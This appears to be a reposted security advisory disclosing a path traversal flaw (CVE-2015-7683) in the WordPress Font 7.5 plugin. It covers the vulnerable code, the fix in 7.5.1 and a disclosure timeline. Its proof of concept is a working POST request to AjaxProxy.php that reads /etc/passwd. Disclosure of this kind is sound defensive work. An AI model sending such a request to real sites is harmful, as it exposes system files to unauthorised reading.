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WordPress Font 7.5 Path Traversal Vulnerability
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Details
================
Software: Font
Version: 7.5
Homepage: https://wordpress.org/plugins/font/
CVE: CVE-2015-7683 (Pending)
CVSS: 6.3 (Medium; AV:N/AC:M/Au:S/C:C/I:N/A:N)
CWE: CWE-22
Description
================
An absolute path traversal vulnerability in Font 7.5 allows WordPress admins read access to system files such as /etc/passwd. Font is a WordPress plugin with over 40,000 active installs.
Vulnerability
================
The vulnerability is due to the unsanitized POST parameter 'url' being passed to file_get_contents() via file_get_contents2().
>From font/Font.php:
139: $contents = $this->file_get_contents2($_POST['url'], array_merge($dataArr, $serializedArr));
. . .
515: function file_get_contents2($src, $postData = false) {
. . .
550: $fileContents = @file_get_contents($src, false, $context);
Proof of Concept
================
URL: http://localhost/wordpress/wp-content/plugins/font/AjaxProxy.php
POST data:
url=/etc/passwd&data%5Bblogurl%5D=http%3A%2F%2Flocalhost%2Fwordpress&data%5Bversion%5D=7.5&format=json&action=cross_domain_request
Remediation
================
Upgrade the plugin to version 7.5.1 or higher.
Timeline
================
2015-09-29: Discovered
2015-09-30: Contacted vendor via plugin support form
2015-10-01: Reported vulnerability to wordpress.org
2015-10-02: CVE-2015-7683 assigned
2015-10-04: Vendor releases version 7.5.1 - confirmed fixed
2015-10-12: Public Disclosure
References
================
[1] https://cwe.mitre.org/data/definitions/22.html
Discovered by
================
David Moore @grajagandev
# 0day.today [2024-12-26] #